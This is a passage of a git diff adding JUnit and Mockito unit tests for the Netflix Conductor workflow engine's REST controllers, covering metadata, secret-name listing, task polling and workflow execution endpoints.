workflowDef.setDescription("test"); + + List listOfWorkflowDef = new ArrayList<>(); + listOfWorkflowDef.add(workflowDef); + + when(mockMetadataService.getWorkflowDefsLatestVersions()).thenReturn(listOfWorkflowDef); + assertEquals(listOfWorkflowDef, metadataResource.getAllWorkflowsWithLatestVersions()); + } + + @Test + public void testUnregisterWorkflowDef() throws Exception { + metadataResource.unregisterWorkflowDef("test", 1); + verify(mockMetadataService, times(1)).unregisterWorkflowDef(anyString(), any()); + } + + @Test + public void testRegisterListOfTaskDef() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test"); + taskDef.setDescription("desc"); + List listOfTaskDefs = new ArrayList<>(); + listOfTaskDefs.add(taskDef); + + metadataResource.registerTaskDef(listOfTaskDefs); + verify(mockMetadataService, times(1)).registerTaskDef(listOfTaskDefs); + } + + @Test + public void testRegisterTaskDef() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test"); + taskDef.setDescription("desc"); + metadataResource.registerTaskDef(taskDef); + verify(mockMetadataService, times(1)).updateTaskDef(taskDef); + } + + @Test + public void testGetAllTaskDefs() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test"); + taskDef.setDescription("desc"); + List listOfTaskDefs = new ArrayList<>(); + listOfTaskDefs.add(taskDef); + + when(mockMetadataService.getTaskDefs()).thenReturn(listOfTaskDefs); + assertEquals(listOfTaskDefs, metadataResource.getTaskDefs()); + } + + @Test + public void testGetTaskDef() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test"); + taskDef.setDescription("desc"); + + when(mockMetadataService.getTaskDef(anyString())).thenReturn(taskDef); + assertEquals(taskDef, metadataResource.getTaskDef("test")); + } + + @Test + public void testUnregisterTaskDef() { + metadataResource.unregisterTaskDef("test"); + verify(mockMetadataService, times(1)).unregisterTaskDef(anyString()); + } + + @Test + public void testGetWorkflowNames() { + List names = Arrays.asList("workflow_a", "workflow_b"); + when(mockMetadataService.getWorkflowNames()).thenReturn(names); + assertEquals(names, metadataResource.getWorkflowNames()); + verify(mockMetadataService, times(1)).getWorkflowNames(); + } + + @Test + public void testGetWorkflowVersions() { + WorkflowDefSummary v1 = new WorkflowDefSummary(); + v1.setName("my_workflow"); + v1.setVersion(1); + v1.setCreateTime(1000L); + + WorkflowDefSummary v2 = new WorkflowDefSummary(); + v2.setName("my_workflow"); + v2.setVersion(2); + v2.setCreateTime(2000L); + + List versions = Arrays.asList(v1, v2); + when(mockMetadataService.getWorkflowVersions("my_workflow")).thenReturn(versions); + + List result = metadataResource.getWorkflowVersions("my_workflow"); + assertEquals(versions, result); + assertEquals(2, result.size()); + assertEquals(1, result.get(0).getVersion()); + assertEquals(2, result.get(1).getVersion()); + verify(mockMetadataService, times(1)).getWorkflowVersions("my_workflow"); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/SecretResourceTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/SecretResourceTest.java new file mode 100644 index 0000000..165317a --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/SecretResourceTest.java @@ -0,0 +1,43 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.dao.SecretsDAO; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.*; + +public class SecretResourceTest { + + private SecretsDAO dao; + private SecretResource resource; + + @Before + public void setUp() { + dao = mock(SecretsDAO.class); + resource = new SecretResource(dao); + } + + @Test + public void testListNamesOnly() { + when(dao.listSecretNames()).thenReturn(List.of("DB_PASSWORD")); + List names = resource.listSecretNames(); + assertEquals(1, names.size()); + assertEquals("DB_PASSWORD", names.get(0)); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/TaskResourceTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/TaskResourceTest.java new file mode 100644 index 0000000..91c592c --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/TaskResourceTest.java @@ -0,0 +1,230 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.http.ResponseEntity; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.service.TaskService; +import com.netflix.conductor.service.WorkflowService; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyList; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class TaskResourceTest { + + private TaskService mockTaskService; + + private TaskResource taskResource; + private WorkflowService workflowService; + + @Before + public void before() { + this.mockTaskService = mock(TaskService.class); + this.workflowService = mock(WorkflowService.class); + this.taskResource = new TaskResource(this.mockTaskService, this.workflowService); + } + + @Test + public void testPoll() { + Task task = new Task(); + task.setTaskType("SIMPLE"); + task.setWorkerId("123"); + task.setDomain("test"); + + when(mockTaskService.poll(anyString(), anyString(), anyString())).thenReturn(task); + assertEquals(ResponseEntity.ok(task), taskResource.poll("SIMPLE", "123", "test")); + } + + @Test + public void testBatchPoll() { + Task task = new Task(); + task.setTaskType("SIMPLE"); + task.setWorkerId("123"); + task.setDomain("test"); + List listOfTasks = new ArrayList<>(); + listOfTasks.add(task); + + when(mockTaskService.batchPoll(anyString(), anyString(), anyString(), anyInt(), anyInt())) + .thenReturn(listOfTasks); + assertEquals( + ResponseEntity.ok(listOfTasks), + taskResource.batchPoll("SIMPLE", "123", "test", 1, 100)); + } + + @Test + public void testUpdateTask() { + TaskResult taskResult = new TaskResult(); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setTaskId("123"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("123"); + when(mockTaskService.updateTask(any(TaskResult.class))).thenReturn(taskModel); + assertEquals("123", taskResource.updateTask(taskResult)); + } + + @Test + public void testLog() { + taskResource.log("123", "test log"); + verify(mockTaskService, times(1)).log(anyString(), anyString()); + } + + @Test + public void testGetTaskLogs() { + List listOfLogs = new ArrayList<>(); + listOfLogs.add(new TaskExecLog("test log")); + when(mockTaskService.getTaskLogs(anyString())).thenReturn(listOfLogs); + assertEquals(ResponseEntity.ok(listOfLogs), taskResource.getTaskLogs("123")); + } + + @Test + public void testGetTask() { + Task task = new Task(); + task.setTaskType("SIMPLE"); + task.setWorkerId("123"); + task.setDomain("test"); + task.setStatus(Task.Status.IN_PROGRESS); + when(mockTaskService.getTask(anyString())).thenReturn(task); + ResponseEntity entity = taskResource.getTask("123"); + assertNotNull(entity); + assertEquals(task, entity.getBody()); + } + + @Test + public void testSize() { + Map map = new HashMap<>(); + map.put("test1", 1); + map.put("test2", 2); + + List list = new ArrayList<>(); + list.add("test1"); + list.add("test2"); + + when(mockTaskService.getTaskQueueSizes(anyList())).thenReturn(map); + assertEquals(map, taskResource.size(list)); + } + + @Test + public void testAllVerbose() { + Map map = new HashMap<>(); + map.put("queue1", 1L); + map.put("queue2", 2L); + + Map> mapOfMap = new HashMap<>(); + mapOfMap.put("queue", map); + + Map>> queueSizeMap = new HashMap<>(); + queueSizeMap.put("queue", mapOfMap); + + when(mockTaskService.allVerbose()).thenReturn(queueSizeMap); + assertEquals(queueSizeMap, taskResource.allVerbose()); + } + + @Test + public void testQueueDetails() { + Map map = new HashMap<>(); + map.put("queue1", 1L); + map.put("queue2", 2L); + + when(mockTaskService.getAllQueueDetails()).thenReturn(map); + assertEquals(map, taskResource.all()); + } + + @Test + public void testGetPollData() { + PollData pollData = new PollData("queue", "test", "w123", 100); + List listOfPollData = new ArrayList<>(); + listOfPollData.add(pollData); + + when(mockTaskService.getPollData(anyString())).thenReturn(listOfPollData); + assertEquals(listOfPollData, taskResource.getPollData("w123")); + } + + @Test + public void testGetAllPollData() { + PollData pollData = new PollData("queue", "test", "w123", 100); + List listOfPollData = new ArrayList<>(); + listOfPollData.add(pollData); + + when(mockTaskService.getAllPollData()).thenReturn(listOfPollData); + assertEquals(listOfPollData, taskResource.getAllPollData()); + } + + @Test + public void testRequeueTaskType() { + when(mockTaskService.requeuePendingTask(anyString())).thenReturn("1"); + assertEquals("1", taskResource.requeuePendingTask("SIMPLE")); + } + + @Test + public void testSearch() { + Task task = new Task(); + task.setTaskType("SIMPLE"); + task.setWorkerId("123"); + task.setDomain("test"); + task.setStatus(Task.Status.IN_PROGRESS); + TaskSummary taskSummary = new TaskSummary(task); + List listOfTaskSummary = Collections.singletonList(taskSummary); + SearchResult searchResult = new SearchResult<>(100, listOfTaskSummary); + + when(mockTaskService.search(0, 100, "asc", "*", "*")).thenReturn(searchResult); + assertEquals(searchResult, taskResource.search(0, 100, "asc", "*", "*")); + } + + @Test + public void testSearchV2() { + Task task = new Task(); + task.setTaskType("SIMPLE"); + task.setWorkerId("123"); + task.setDomain("test"); + task.setStatus(Task.Status.IN_PROGRESS); + List listOfTasks = Collections.singletonList(task); + SearchResult searchResult = new SearchResult<>(100, listOfTasks); + + when(mockTaskService.searchV2(0, 100, "asc", "*", "*")).thenReturn(searchResult); + assertEquals(searchResult, taskResource.searchV2(0, 100, "asc", "*", "*")); + } + + @Test + public void testGetExternalStorageLocation() { + ExternalStorageLocation externalStorageLocation = mock(ExternalStorageLocation.class); + when(mockTaskService.getExternalStorageLocation("path", "operation", "payloadType")) + .thenReturn(externalStorageLocation); + assertEquals( + externalStorageLocation, + taskResource.getExternalStorageLocation("path", "operation", "payloadType")); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/WorkflowResourceTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/WorkflowResourceTest.java new file mode 100644 index 0000000..3f76584 --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/WorkflowResourceTest.java @@ -0,0 +1,1119 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.model.SignalResponse; +import org.conductoross.conductor.model.TaskRun; +import org.conductoross.conductor.model.WorkflowRun; +import org.conductoross.conductor.model.WorkflowSignalReturnStrategy; +import org.conductoross.conductor.model.WorkflowStatus; +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mock; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.WorkflowService; +import com.netflix.conductor.service.WorkflowTestService; + +import reactor.core.publisher.Mono; +import reactor.test.StepVerifier; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyBoolean; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyList; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.ArgumentMatchers.isNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class WorkflowResourceTest { + + @Mock private WorkflowService mockWorkflowService; + + @Mock private WorkflowTestService mockWorkflowTestService; + + private WorkflowResource workflowResource; + + @Before + public void before() { + this.mockWorkflowService = mock(WorkflowService.class); + this.mockWorkflowTestService = mock(WorkflowTestService.class); + this.workflowResource = + new WorkflowResource(this.mockWorkflowService, this.mockWorkflowTestService); + } + + @Test + public void testStartWorkflow() { + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName("w123"); + Map input = new HashMap<>(); + input.put("1", "abc"); + startWorkflowRequest.setInput(input); + String workflowID = "w112"; + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowID); + assertEquals("w112", workflowResource.startWorkflow(startWorkflowRequest)); + } + + @Test + public void testStartWorkflowParam() { + Map input = new HashMap<>(); + input.put("1", "abc"); + String workflowID = "w112"; + when(mockWorkflowService.startWorkflow( + anyString(), anyInt(), anyString(), anyInt(), anyMap())) + .thenReturn(workflowID); + assertEquals("w112", workflowResource.startWorkflow("test1", 1, "c123", 0, input)); + } + + @Test + public void getWorkflows() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("123"); + ArrayList listOfWorkflows = + new ArrayList<>() { + { + add(workflow); + } + }; + when(mockWorkflowService.getWorkflows(anyString(), anyString(), anyBoolean(), anyBoolean())) + .thenReturn(listOfWorkflows); + assertEquals(listOfWorkflows, workflowResource.getWorkflows("test1", "123", true, true)); + } + + @Test + public void testGetWorklfowsMultipleCorrelationId() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + List workflowArrayList = + new ArrayList<>() { + { + add(workflow); + } + }; + + List correlationIdList = + new ArrayList<>() { + { + add("c123"); + } + }; + + Map> workflowMap = new HashMap<>(); + workflowMap.put("c123", workflowArrayList); + + when(mockWorkflowService.getWorkflows(anyString(), anyBoolean(), anyBoolean(), anyList())) + .thenReturn(workflowMap); + assertEquals( + workflowMap, workflowResource.getWorkflows("test", true, true, correlationIdList)); + } + + @Test + public void testGetExecutionStatus() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + when(mockWorkflowService.getExecutionStatus(anyString(), anyBoolean())) + .thenReturn(workflow); + assertEquals(workflow, workflowResource.getExecutionStatus("w123", true)); + } + + @Test + public void testGetWorkflowStatusSummary() { + Workflow workflow = new Workflow(); + workflow.setWorkflowId("w123"); + workflow.setCorrelationId("c123"); + workflow.setStatus(Workflow.WorkflowStatus.RUNNING); + Map output = new HashMap<>(); + output.put("k", "v"); + workflow.setOutput(output); + Map variables = new HashMap<>(); + variables.put("var", 1); + workflow.setVariables(variables); + + when(mockWorkflowService.getExecutionStatus("w123", false)).thenReturn(workflow); + + WorkflowStatus status = workflowResource.getWorkflowStatusSummary("w123", true, true); + assertEquals("w123", status.getWorkflowId()); + assertEquals("c123", status.getCorrelationId()); + assertEquals(Workflow.WorkflowStatus.RUNNING, status.getStatus()); + assertEquals(output, status.getOutput()); + assertEquals(variables, status.getVariables()); + } + + @Test + public void testGetWorkflowStatusSummaryExcludesOutputAndVariablesByDefault() { + Workflow workflow = new Workflow(); + workflow.setWorkflowId("w123"); + workflow.setStatus(Workflow.WorkflowStatus.COMPLETED); + Map output = new HashMap<>(); + output.put("k", "v"); + workflow.setOutput(output); + + when(mockWorkflowService.getExecutionStatus("w123", false)).thenReturn(workflow); + + WorkflowStatus status = workflowResource.getWorkflowStatusSummary("w123", false, false); + assertEquals("w123", status.getWorkflowId()); + assertEquals(Workflow.WorkflowStatus.COMPLETED, status.getStatus()); + assertNull(status.getOutput()); + assertNull(status.getVariables()); + } + + @Test + public void testDelete() { + workflowResource.delete("w123", true); + verify(mockWorkflowService, times(1)).deleteWorkflow(anyString(), anyBoolean()); + } + + @Test + public void testGetRunningWorkflow() { + List listOfWorklfows = + new ArrayList<>() { + { + add("w123"); + } + }; + when(mockWorkflowService.getRunningWorkflows(anyString(), anyInt(), anyLong(), anyLong())) + .thenReturn(listOfWorklfows); + assertEquals(listOfWorklfows, workflowResource.getRunningWorkflow("w123", 1, 12L, 13L)); + } + + @Test + public void testDecide() { + workflowResource.decide("w123"); + verify(mockWorkflowService, times(1)).decideWorkflow(anyString()); + } + + @Test + public void testPauseWorkflow() { + workflowResource.pauseWorkflow("w123"); + verify(mockWorkflowService, times(1)).pauseWorkflow(anyString()); + } + + @Test + public void testResumeWorkflow() { + workflowResource.resumeWorkflow("test"); + verify(mockWorkflowService, times(1)).resumeWorkflow(anyString()); + } + + @Test + public void testSkipTaskFromWorkflow() { + workflowResource.skipTaskFromWorkflow("test", "testTask", null); + verify(mockWorkflowService, times(1)) + .skipTaskFromWorkflow(anyString(), anyString(), isNull()); + } + + @Test + public void testRerun() { + RerunWorkflowRequest request = new RerunWorkflowRequest(); + workflowResource.rerun("test", request); + verify(mockWorkflowService, times(1)) + .rerunWorkflow(anyString(), any(RerunWorkflowRequest.class)); + } + + @Test + public void restart() { + workflowResource.restart("w123", false); + verify(mockWorkflowService, times(1)).restartWorkflow(anyString(), anyBoolean()); + } + + @Test + public void testRetry() { + workflowResource.retry("w123", false); + verify(mockWorkflowService, times(1)).retryWorkflow(anyString(), anyBoolean()); + } + + @Test + public void testResetWorkflow() { + workflowResource.resetWorkflow("w123"); + verify(mockWorkflowService, times(1)).resetWorkflow(anyString()); + } + + @Test + public void testTerminate() { + workflowResource.terminate("w123", "test"); + verify(mockWorkflowService, times(1)).terminateWorkflow(anyString(), anyString()); + } + + @Test + public void testTerminateRemove() { + workflowResource.terminateRemove("w123", "test", false); + verify(mockWorkflowService, times(1)) + .terminateRemove(anyString(), anyString(), anyBoolean()); + } + + @Test + public void testSearch() { + workflowResource.search(0, 100, "asc", "*", "*", null); + verify(mockWorkflowService, times(1)) + .searchWorkflows(anyInt(), anyInt(), anyString(), anyString(), anyString()); + } + + @Test + public void testSearchV2() { + workflowResource.searchV2(0, 100, "asc", "*", "*", null); + verify(mockWorkflowService).searchWorkflowsV2(0, 100, "asc", "*", "*"); + } + + @Test + public void testSearchWithClassifierAppendsToQuery() { + workflowResource.search(0, 100, "asc", "*", "status IN (RUNNING)", "agent"); + verify(mockWorkflowService) + .searchWorkflows( + 0, 100, "asc", "*", "status IN (RUNNING) AND classifier IN (agent)"); + } + + @Test + public void testSearchWithClassifierOnly() { + workflowResource.search(0, 100, "asc", "*", null, "agent, workflow"); + verify(mockWorkflowService) + .searchWorkflows(0, 100, "asc", "*", "classifier IN (agent,workflow)"); + } + + @Test + public void testSearchV2WithClassifierAppendsToQuery() { + workflowResource.searchV2(0, 100, "asc", "*", null, "agent"); + verify(mockWorkflowService).searchWorkflowsV2(0, 100, "asc", "*", "classifier IN (agent)"); + } + + @Test + public void testSearchWorkflowsByTasks() { + workflowResource.searchWorkflowsByTasks(0, 100, "asc", "*", "*"); + verify(mockWorkflowService, times(1)) + .searchWorkflowsByTasks(anyInt(), anyInt(), anyString(), anyString(), anyString()); + } + + @Test + public void testSearchWorkflowsByTasksV2() { + workflowResource.searchWorkflowsByTasksV2(0, 100, "asc", "*", "*"); + verify(mockWorkflowService).searchWorkflowsByTasksV2(0, 100, "asc", "*", "*"); + } + + @Test + public void testGetExternalStorageLocation() { + workflowResource.getExternalStorageLocation("path", "operation", "payloadType"); + verify(mockWorkflowService).getExternalStorageLocation("path", "operation", "payloadType"); + } + + @Test + public void testExecuteWorkflow_CompletedWorkflow() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + Map input = new HashMap<>(); + input.put("key", "value"); + request.setInput(input); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.COMPLETED); + WorkflowModel workflowModel = toWorkflowModel(workflow); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(workflowId, workflowRun.getWorkflowId()); + assertEquals("req123", workflowRun.getRequestId()); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_WithWaitTask() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task waitTask = createTask("wait1", TaskType.TASK_TYPE_WAIT, Task.Status.IN_PROGRESS); + workflow.getTasks().add(waitTask); + + WorkflowModel workflowModel = toWorkflowModel(workflow); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + null, // Test auto-generation of requestId + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.BLOCKING_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(workflowId, workflowRun.getWorkflowId()); + assertNotNull(workflowRun.getRequestId()); // Should be auto-generated + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_WithTaskRef() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task completedTask = createTask("task1", "SIMPLE", Task.Status.COMPLETED); + workflow.getTasks().add(completedTask); + + WorkflowModel workflowModel = toWorkflowModel(workflow); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + "task1", // Wait until task1 completes + 10, + "DURABLE", + WorkflowSignalReturnStrategy.BLOCKING_TASK, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof TaskRun); + TaskRun taskRun = (TaskRun) response; + assertEquals("task1", taskRun.getReferenceTaskName()); + assertEquals("req123", taskRun.getRequestId()); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_WithMultipleTaskRefs() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task task1 = createTask("task1", "SIMPLE", Task.Status.IN_PROGRESS); + Task task2 = createTask("task2", "SIMPLE", Task.Status.COMPLETED); + workflow.getTasks().add(task1); + workflow.getTasks().add(task2); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When - task2 completes first + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + "task1,task2", // Multiple task refs + 10, + "DURABLE", + WorkflowSignalReturnStrategy.BLOCKING_TASK_INPUT, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof TaskRun); + TaskRun taskRun = (TaskRun) response; + // Should return task2 since it's completed + assertEquals("task2", taskRun.getReferenceTaskName()); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_WithSubWorkflow() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + String subWorkflowId = "subWorkflow456"; + + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + Workflow subWorkflow = createWorkflow(subWorkflowId, Workflow.WorkflowStatus.RUNNING); + + Task subWorkflowTask = + createTask( + "subWorkflow1", TaskType.TASK_TYPE_SUB_WORKFLOW, Task.Status.IN_PROGRESS); + subWorkflowTask.setSubWorkflowId(subWorkflowId); + workflow.getTasks().add(subWorkflowTask); + + Task waitTaskInSubWorkflow = + createTask("waitInSub", TaskType.TASK_TYPE_WAIT, Task.Status.IN_PROGRESS); + subWorkflow.getTasks().add(waitTaskInSubWorkflow); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + WorkflowModel subWorkflowModel = toWorkflowModel(subWorkflow); + when(mockWorkflowService.getWorkflowModel(eq(subWorkflowId), eq(true))) + .thenReturn(subWorkflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.BLOCKING_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + // Should return the sub-workflow as blocking workflow + assertEquals(subWorkflowId, workflowRun.getWorkflowId()); + assertEquals(workflowId, workflowRun.getTargetWorkflowId()); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_Timeout() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When - very short timeout, should timeout immediately + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + "nonExistentTask", // Task that never completes + 1, // 1 second timeout + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(workflowId, workflowRun.getWorkflowId()); + // Workflow is still running (timeout occurred) + assertEquals(Workflow.WorkflowStatus.RUNNING, workflowRun.getStatus()); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_VersionZero() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.COMPLETED); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When - version 0 should be converted to null + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 0, // Version 0 + "req123", + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + // Verify that version was set to null in the request + // This is implicit in the workflow service call + }) + .verifyComplete(); + + verify(mockWorkflowService).startWorkflow(any(StartWorkflowRequest.class)); + } + + @Test + public void testExecuteWorkflow_DynamicWorkflow() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + Map input = new HashMap<>(); + request.setInput(input); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("dynamicWorkflow"); + workflowDef.setTasks( + List.of(new com.netflix.conductor.common.metadata.workflow.WorkflowTask())); + request.setWorkflowDef(workflowDef); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.COMPLETED); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + 